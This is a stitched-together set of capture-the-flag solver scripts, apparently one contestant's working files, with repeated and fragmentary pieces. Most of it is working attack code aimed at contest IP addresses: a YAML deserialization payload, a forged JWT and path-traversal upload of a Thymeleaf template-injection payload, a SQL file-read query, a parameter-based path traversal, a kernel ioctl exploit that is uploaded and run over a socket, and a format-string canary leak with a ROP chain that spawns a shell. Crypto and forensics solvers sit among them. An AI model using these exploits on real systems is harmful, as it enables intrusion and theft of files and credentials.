import requests

TAG = "%TAG !p! tag:yaml.org,2002:python/\n---\n"
PAYLOAD = TAG + """name: !p!object/apply:linecache.getline
  - !p!object/apply:posixpath.join [/, flag]
  - 1"""

r = requests.post(
    "http://175.27.251.122:10003/api/terminal",
    json={"command": PAYLOAD},
    headers={"Connection": "close"},
    timeout=(8, 25),
)
print(r.text)

import pathlib
import struct
import zlib

data = pathlib.Path("ledger.broken").read_bytes()
rows = []
off = 0

while True:
    pos = data.find(b"PK\x03\x04", off)
    if pos < 0:
        break
    _, _, _, _, _, _, _, csize, usize, nlen, elen = struct.unpack_from(
        "<IHHHHHIIIHH", data, pos
    )
    start = pos + 30 + nlen + elen
    page = zlib.decompress(data[start:start + csize], -15)
    for i in range(0, len(page), 19):
        bit = page[i + 18]
        if bit in (0, 1):
            mask = int.from_bytes(page[i + 2:i + 18], "little") & ((1 << 124) - 1)
            rows.append((mask, bit))
    off = pos + 1

N = 124
LOW64_INT = (1 << 64) - 1

def load_arrays(path="src/ledger.broken"):
    data = pathlib.Path(path).read_bytes()
    los, his, rhs = [], [], []
    off = 0
    while True:
        pos = data.find(b"PK\\x03\\x04", off)
        if pos < 0:
            break

        _, _, _, comp, _, _, _, csize, usize, nlen, elen = struct.unpack_from(
            "<IHHHHHIIIHH", data, pos
        )
        start = pos + 30 + nlen + elen
        blob = data[start : start + csize]
        page = zlib.decompress(blob, -15) if comp == 8 else blob
        assert len(page) == usize and len(page) % 19 == 0

        for i in range(0, len(page), 19):
            bit = page[i + 18]
            if bit in (0, 1):
                mask = int.from_bytes(page[i + 2 : i + 18], "little") & ((1 << N) - 1)
                los.append(mask & LOW64_INT)
                his.append(mask >> 64)
                rhs.append(bit)
        off = pos + 1

    return (
        np.array(los, dtype=np.uint64),
        np.array(his, dtype=np.uint64),
        np.array(rhs, dtype=np.uint8),
    )

@njit
def parity_u64(x):
    x ^= x >> np.uint64(32)
    x ^= x >> np.uint64(16)
    x ^= x >> np.uint64(8)
    x ^= x >> np.uint64(4)
    return (np.uint64(0x6996) >> (x & np.uint64(0xF))) & np.uint64(1)


@njit
def parity_dot(lo, hi, klo, khi):
    return parity_u64((lo & klo) ^ (hi & khi))


@njit
def score_all(los, his, rhs, klo, khi):
    err = 0
    for idx in range(los.shape[0]):
        pred = parity_dot(los[idx], his[idx], klo, khi)
        err += int(pred ^ np.uint64(rhs[idx]))
    return err

val_idx = np.random.default_rng(0x20260606).choice(
    los.shape[0], size=128, replace=False
).astype(np.int64)

seed = np.uint64(0x9E3779B97F4A7C15)
while True:
    seed, rank_ok, val_pass, best_val, best_full, blo, bhi = prange_w2_batch(
        los, his, rhs, val_idx, seed, 1000, 32
    )
    if best_full < 8000:
        key = high_nibble(blo, bhi)
        if key is not None:
            print(f"key = {key.to_bytes(16, 'little').hex()}")
            print(f"score = {best_full}")
            print(flag_from_key(key))
            return

def high_nibble(klo, khi):
    key_low = int(klo) | (int(khi) << 64)
    for hi in range(16):
        key = key_low | (hi << N)
        kb = key.to_bytes(16, "little")
        if hashlib.sha256(b"ledger-fog-check:" + kb).hexdigest()[:4] == "8f42":
            return key
    return None

from hashlib import sha256

key = bytes.fromhex("93357a0326c0959b74326fc87454ccb6")
print(sha256(b"ledger-fog:" + key).hexdigest()[:32])

encrypt_image(input_path, output_path, rounds, None)

def swap_target(index, length, round_index, channel_index):
    return (
        index * index
        + (2 * round_index + 3) * index
        + 7 * (channel_index + 1)
    ) % length

for index in range(values.size):
    target = swap_target(index, values.size, round_index, channel_index)
    values[index], values[target] = values[target], values[index]

import argparse

import numpy as np
from PIL import Image


def swap_target(index: int, length: int, round_index: int, channel_index: int) -> int:
    return (
        index * index
        + (2 * round_index + 3) * index
        + 7 * (channel_index + 1)
    ) % length


def undo_quadratic_swaps(values: np.ndarray, round_index: int, channel_index: int) -> np.ndarray:
    restored = values.copy()
    length = restored.size
    for index in range(length - 1, -1, -1):
        target = swap_target(index, length, round_index, channel_index)
        restored[index], restored[target] = restored[target], restored[index]
    return restored


def decrypt_channel(channel_array: np.ndarray, rounds: int, channel_index: int) -> np.ndarray:
    current = channel_array.reshape(-1).astype(np.uint8).copy()
    for round_index in range(rounds - 1, -1, -1):
        current = undo_quadratic_swaps(current, round_index, channel_index)
    return current.reshape(channel_array.shape)


def decrypt_image(input_path: str, output_path: str, rounds: int) -> None:
    encrypted = np.array(Image.open(input_path).convert("RGB"))
    channels = []
    for channel_index in range(3):
        channels.append(decrypt_channel(encrypted[:, :, channel_index], rounds, channel_index))
    restored = np.stack(channels, axis=2).astype(np.uint8)
    Image.fromarray(restored, "RGB").save(output_path)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("input", nargs="?", default="3.png")
    parser.add_argument("output", nargs="?", default="3_decrypted.png")
    parser.add_argument("--rounds", type=int, default=3)
    args = parser.parse_args()
    decrypt_image(args.input, args.output, args.rounds)

import base64

def encode(data):
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).decode().rstrip("=")

head = '{"alg":"ES256","typ":"JWT"}'
body = '{"phone":"admin","rol\\u0065":"admin","sid":"exp"}'
h_enc = encode(head)
b_enc = encode(body)
token = f"{h_enc}.{b_enc}.MAYCAQACAQA"

login_res = req.post(
    f"{host}api/auth/login",
    json={"phone": "admin", "password": pwd},
)
login_data = login_res.json()
sid = login_data["data"]["sid"]
tk = login_data["data"]["token"]

payload = """<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<body>
    <div th:text="${new java.io.BufferedReader(new java.io.FileReader('/flag')).readLine()}"></div>
</body>
</html>"""

payload = """<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<body>
    <div th:text="${new java.io.BufferedReader(new java.io.FileReader('/flag')).readLine()}"></div>
</body>
</html>"""

req.cookies.set("sid", sid)
req.cookies.set("token", tk)

file_data = {"file": ("../templates/orders.html", payload, "text/html")}
form = {"name": "Hacked", "price": "0", "category": "炒菜类"}
upload = req.post(f"{host}admin/api/upload", files=file_data, data=form)
print(f"[+] upload: {upload.text}")

page = req.get(f"{host}admin/orders")
flags = re.findall(r"flag\\{[^}]+\\}", page.text)
real_flag = set(flags) - {"flag{1f9b26bbbfa0f3e0e06ffb73ed37d130}"}

if real_flag:
    for f in real_flag:
        print(f"[+] flag: {f}")
else:
    print("[-] flag not found")

import requests
import base64
import json
import time
import re

# 基础地址
host = "http://175.27.251.122:10006/"

# URL安全Base64编码
def encode(data):
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).decode().rstrip("=")


# 主执行函数
def run():
    req = requests.Session()

    # 构造JWT伪造令牌
    head = '{"alg":"ES256","typ":"JWT"}'
    body = '{"phone":"admin","rol\\u0065":"admin","sid":"exp"}'
    h_enc = encode(head)
    b_enc = encode(body)
    token = f"{h_enc}.{b_enc}.MAYCAQACAQA"

    # 获取泄露密码
    res = req.get(
        f"{host}api/user/profile",
        headers={"Authorization": f"Bearer {token}"},
    )
    pwd = res.json()["data"]["password"]
    print(f"[+] leaked password: {pwd}")

    # 登录获取会话凭证
    login_res = req.post(
        f"{host}api/auth/login",
        json={"phone": "admin", "password": pwd},
    )
    login_data = login_res.json()
    sid = login_data["data"]["sid"]
    tk = login_data["data"]["token"]
    print(f"[+] sid: {sid}")

    # 设置Cookie
    req.cookies.set("sid", sid)
    req.cookies.set("token", tk)

    # SSTI恶意模板（读取flag）
    payload = """<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<body>
    <div th:text="${new java.io.BufferedReader(new java.io.FileReader('/flag')).readLine()}"></div>
</body>
</html>"""

    # 上传恶意文件
    file_data = {"file": ("../templates/orders.html", payload, "text/html")}
    form = {"name": "Hacked", "price": "0", "category": "炒菜类"}
    upload = req.post(f"{host}admin/api/upload", files=file_data, data=form)
    print(f"[+] upload: {upload.text}")

    # 访问触发SSTI获取flag
    time.sleep(1)
    page = req.get(f"{host}admin/orders")

    # 提取真实flag
    flags = re.findall(r"flag\{[^}]+\}", page.text)
    real_flag = set(flags) - {"flag{1f9b26bbbfa0f3e0e06ffb73ed37d130}"}

    if real_flag:
        for f in real_flag:
            print(f"[+] flag: {f}")
    else:
        print("[-] flag not found")


if __name__ == "__main__":
    run()

import requests
import time


BASE = "http://175.27.251.122:10025"
s = requests.Session()

# 先拿 editor 登录态
s.post(
    f"{BASE}/api/login",
    json={"username": "editor", "password": "editor123"},
)

payload = {
    "queries": [{
        "refId": "B",
        "datasource": {"type": "expr", "uid": "expr", "name": "Expression"},
        "type": "sql",
        "hide": False,
        "expression": "SELECT content FROM read_blob('/flag')",
        "window": ""
    }],
    "from": str(int(time.time() * 1000) - 86400000),
    "to": str(int(time.time() * 1000))
}

r = s.post(
    f"{BASE}/api/ds/query?ds_type=expr&expression=true&requestId=Q100",
    json=payload,
)
data = r.json()
flag = data["results"]["B"]["frames"][0]["data"]["values"][0][0].strip()
print(flag)

data["results"]["B"]["frames"][0]["data"]["values"][0][0]

from pathlib import Path

POLY = 0xEDB88320
crc_table = []
for i in range(256):
    c = i
    for _ in range(8):
        c = (c >> 1) ^ POLY if c & 1 else c >> 1
    crc_table.append(c & 0xffffffff)


def crc32_update(crc: int, b: int) -> int:
    return (crc_table[(crc ^ b) & 0xff] ^ (crc >> 8)) & 0xffffffff


def update_keys(k0, k1, k2, p):
    k0 = crc32_update(k0, p)
    k1 = (k1 + (k0 & 0xff)) & 0xffffffff
    k1 = (k1 * 134775813 + 1) & 0xffffffff
    k2 = crc32_update(k2, (k1 >> 24) & 0xff)
    return k0, k1, k2


def zipcrypto_decrypt(data: bytes, keys):
    k0, k1, k2 = keys
    out = bytearray()
    for c in data:
        t = (k2 | 2) & 0xffffffff
        keystream = ((t * (t ^ 1)) >> 8) & 0xff
        p = c ^ keystream
        out.append(p)
        k0, k1, k2 = update_keys(k0, k1, k2, p)
    return bytes(out)


keys = (0xb47e923c, 0x5aeb49a7, 0xa3cd7af0)
cipher = Path("cake_base.bin").read_bytes()
plain = zipcrypto_decrypt(cipher, keys)
print(plain[:4])
Path("cake_inner.zip").write_bytes(plain)

from collections import defaultdict
import cv2
import numpy as np

cap = cv2.VideoCapture("scream.avi")
coords = defaultdict(list)
frame_id = 0

while True:
    ok, bgr = cap.read()
    if not ok:
        break
    rgb = bgr[:, :, ::-1]
    r = rgb[:, :, 0]
    g = rgb[:, :, 1]
    b = rgb[:, :, 2]
    mask = (
        ((r >= 32) & (r <= 126) & (g == 0) & (b == 0)) |
        ((g >= 32) & (g <= 126) & (r == 0) & (b == 0)) |
        ((b >= 32) & (b <= 126) & (r == 0) & (g == 0))
    )
    ys, xs = np.where(mask)
    for y, x in zip(ys, xs):
        pix = tuple(int(v) for v in rgb[y, x])
        coords[(int(x), int(y))].append((frame_id, chr(max(pix)), pix))
    frame_id += 1

for (x, y), arr in sorted(coords.items(), key=lambda item: -len(item[1])):
    by_frame = {i: (ch, pix) for i, ch, pix in arr}
    n = 0
    while n in by_frame:
        n += 1
    if n >= 5:
        text = "".join(by_frame[i][0] for i in range(n))
        print(x, y, text)
        break

import base64
import struct
from pathlib import Path

from keystone import KS_ARCH_X86, KS_MODE_64, Ks


BASE = 0x400000
TEXT_OFF = 0x100
DATA_OFF = 0x200
ENTRY = BASE + TEXT_OFF
DATA_VA = BASE + DATA_OFF


def build_elf(text: bytes, data: bytes) -> bytes:
    data_start = DATA_OFF
    file_size = data_start + len(data)

    elf_header = struct.pack(
        "<16sHHIQQQIHHHHHH",
        b"\x7fELF" + bytes([2, 1, 1, 0]) + bytes(8),
        2, 0x3E, 1, ENTRY, 64, 0, 0, 64, 56, 1, 0, 0, 0,
    )

    ph_load = struct.pack(
        "<IIQQQQQQ",
        1, 7, 0, BASE, BASE, file_size, file_size, 0x1000,
    )

    image = bytearray()
    image += elf_header
    image += ph_load
    image += b"\x00" * (TEXT_OFF - len(image))
    image += text
    image += b"\x00" * (DATA_OFF - len(image))
    image += data
    return bytes(image)


def main() -> None:
    size_ptr = DATA_VA
    buf_ptr_ptr = DATA_VA + 8
    dev_path = DATA_VA + 0x10
    buf = DATA_VA + 0x20
    newline = buf + 0x80

    asm = f"""
        mov rax, 2
        mov rdi, {dev_path}
        mov rsi, 2
        xor rdx, rdx
        syscall

        mov r12, rax

        mov rax, 16
        mov rdi, r12
        mov rsi, 0x4008ba00
        mov rdx, {size_ptr}
        syscall

        mov rax, 16
        mov rdi, r12
        mov rsi, 0x4008ba01
        mov rdx, {buf_ptr_ptr}
        syscall

        mov rax, 1
        mov rdi, 1
        mov rsi, {buf}
        mov rdx, 0x80
        syscall

        mov rax, 1
        mov rdi, 1
        mov rsi, {newline}
        mov rdx, 1
        syscall

        mov rax, 60
        xor rdi, rdi
        syscall
    """

    ks = Ks(KS_ARCH_X86, KS_MODE_64)
    text, _ = ks.asm(asm, as_bytes=True, addr=ENTRY)

    data = bytearray()
    data += struct.pack("<Q", 0x80)
    data += struct.pack("<Q", buf)
    data += b"/dev/babyioctl\x00"
    data += b"\x00" * (0x20 - len(data))
    data += b"\x00" * 0x80
    data += b"\n"

    elf = build_elf(bytes(text), bytes(data))

    out_dir = Path(__file__).resolve().parent
    (out_dir / "exp").write_bytes(elf)
    (out_dir / "exp.b64").write_text(base64.b64encode(elf).decode(), encoding="ascii")


if __name__ == "__main__":
    main()

import socket
import re
import sys
import time
from pathlib import Path


HOST = "123.56.126.77"
PORT = 1017


def recv_some(sock: socket.socket, seconds: float) -> bytes:
    end = time.time() + seconds
    chunks = []
    while time.time() < end:
        try:
            data = sock.recv(4096)
            if not data:
                break
            chunks.append(data)
        except TimeoutError:
            pass
        time.sleep(0.05)
    return b"".join(chunks)


def recv_until_ready(sock: socket.socket, seconds: float) -> str:
    end = time.time() + seconds
    chunks = []
    while time.time() < end:
        try:
            data = sock.recv(4096)
            if not data:
                break
            chunks.append(data)
            text = b"".join(chunks).decode("latin1", "ignore")
            if "Kernel panic" in text or "ctf$ " in text:
                return text
        except TimeoutError:
            pass
        time.sleep(0.05)
    return b"".join(chunks).decode("latin1", "ignore")


def send_line(sock: socket.socket, line: str) -> None:
    sock.sendall(line.encode() + b"\r")


def main() -> None:
    b64 = Path(__file__).with_name("exp.b64").read_text(encoding="ascii").strip()
    with socket.create_connection((HOST, PORT), timeout=10) as sock:
        sock.settimeout(0.2)
        send_line(sock, "")

        boot = recv_until_ready(sock, 20)
        sys.stdout.write(boot)
        sys.stdout.flush()

        if "Kernel panic" in boot:
            raise SystemExit("remote kernel panicked before userspace came up")
        if "ctf$ " not in boot:
            raise SystemExit("remote did not reach the shell prompt in time")

        payload = [
            f"printf '%s' '{b64}' | /bin/b64dec >/tmp/exp",
            "/bin/chmod +x /tmp/exp",
            "/tmp/exp",
        ]

        for line in payload:
            send_line(sock, line)
            time.sleep(0.03)

        out = recv_some(sock, 5).decode("latin1", "ignore")
        sys.stdout.write(out)
        sys.stdout.flush()

        match = re.search(r"(flag|SDPC)\{[^}\r\n]+\}", out)
        if match:
            print(f"\n[flag] {match.group(0)}")


if __name__ == "__main__":
    main()

from PIL import Image


def spiral_coords(w, h):
    left, right = 0, w - 1
    top, bottom = 0, h - 1
    while left <= right and top <= bottom:
        for x in range(left, right + 1):
            yield x, top
        top += 1

        for y in range(top, bottom + 1):
            yield right, y
        right -= 1

        if top <= bottom:
            for x in range(right, left - 1, -1):
                yield x, bottom
            bottom -= 1

        if left <= right:
            for y in range(bottom, top - 1, -1):
                yield left, y
            left += 1


scb = Image.open("SCB.png").convert("RGBA")
flag = Image.open("flag.png").convert("RGBA")

fw, fh = flag.size
sw, sh = scb.size

spiral_pixels = [flag.getpixel((x, y)) for x, y in spiral_coords(fw, fh)]
white_positions = []

for y in range(sh):
    for x in range(sw):
        if scb.getpixel((x, y))[:3] == (255, 255, 255):
            white_positions.append((x, y))

assert len(white_positions) == len(spiral_pixels)

for (x, y), px in zip(white_positions, spiral_pixels):
    scb.putpixel((x, y), px)

scb.save("scb_restored.png")

def e1(dust: bytes, mask: bytes, bias: int) -> bytes:
    out = bytearray()
    for i, v in enumerate(dust):
        x = (v - ((bias + 9 * i) & 0xff)) & 0xff
        x ^= mask[i % len(mask)]
        out.append(x)
    return bytes(out)

from hashlib import sha256

password_hash = "1310bf3a2891994baeb95961958bae7c7385bf26bc105ca633cfe2d60bc72c08"
token = sha256(("admin" + password_hash + "hmos_ctf_2026").encode()).hexdigest()
print(token)

prefix = sha256((token + "|admin|HMOS_CTF_2026" + proof[:20]).encode()).hexdigest()
for i in range(3):
    prefix = sha256(
        (prefix[8*i:8*i+24] + folds[i] + proof[10*i:10*i+10] + prefix[24:]).encode()
    ).hexdigest()
seed = prefix[:48]

import requests

url = (
    "http://175.27.251.122:10010/api/checkfile"
    "?file=a&file=a&file=a&file=a&file=a"
    "&file=a&file=a&file=a&file=a"
    "&file=%2F..%2F..%2Fflag&file=.&file=log"
)

res = requests.post(
    url,
    json={"name": "CTF-ADMIN"},
)
print(res.text)

import requests

params = [
    ("file", "a"), ("file", "a"), ("file", "a"), ("file", "a"), ("file", "a"),
    ("file", "a"), ("file", "a"), ("file", "a"), ("file", "a"),
    ("file", "/../../flag"), ("file", "."), ("file", "log"),
]

res = requests.post(
    "http://175.27.251.122:10010/api/checkfile",
    params=params,
    json={"name": "CTF-ADMIN"},
)
print(res.request.url)
print(res.text)

io.send(b"%7$p")

canary = int(re.search(rb"0x([0-9a-fA-F]+)", data).group(0), 16)

from pwn import *
import re
import time


HOST = "123.56.126.77"
PORT = 1010

context.binary = ELF(r"C:\Users\27516\Documents\snake_ascii\pwn")
context.log_level = "info"

elf = context.binary
libc = ELF(r"C:\Users\27516\Documents\snake_ascii\libc.so.6")


def recv_until(io, pattern, total=8):
    buf = b""
    end = time.time() + total
    while time.time() < end:
        try:
            chunk = io.recv(timeout=0.5)
        except EOFError:
            return buf, False
        if not chunk:
            continue
        buf += chunk
        if pattern in buf:
            return buf, True
    return buf, False


def main():
    io = remote(HOST, PORT)

    io.send(b"%7$p")
    data, ok = recv_until(io, b"quit", 5)
    if not ok:
        raise RuntimeError("failed to receive initial screen")
    canary = int(re.search(rb"0x([0-9a-fA-F]+)", data).group(0), 16)
    log.info("canary = %#x", canary)

    _, ok = recv_until(io, b"Any last words?\n", 8)
    if not ok:
        raise RuntimeError("failed to reach first overflow")

    payload1 = flat(
        b"A" * 0x38,
        canary,
        b"B" * 8,
        0x4016EE,
        elf.got["puts"],
        0x401170,
        elf.symbols["logic"],
        word_size=64,
    )
    io.sendline(payload1)

    data, ok = recv_until(io, b"Any last words?\n", 8)
    if not ok:
        raise RuntimeError("failed to reach second overflow")

    leak_blob = data.split(b"Any last words?")[0].split(b"\n")[0]
    puts_leak = u64(leak_blob[-6:].ljust(8, b"\x00"))
    libc.address = puts_leak - libc.sym.puts
    log.info("puts = %#x", puts_leak)
    log.info("libc = %#x", libc.address)

    payload2 = flat(
        b"A" * 0x38,
        canary,
        b"B" * 8,
        0x40101A,
        0x4016EE,
        next(libc.search(b"/bin/sh\x00")),
        libc.sym.system,
        word_size=64,
    )
    io.sendline(payload2)
    io.sendline(b"cat /flag*")

    flag, _ = recv_until(io, b"}", 5)
    print(flag.decode("latin1", "ignore"))


if __name__ == "__main__":
    main()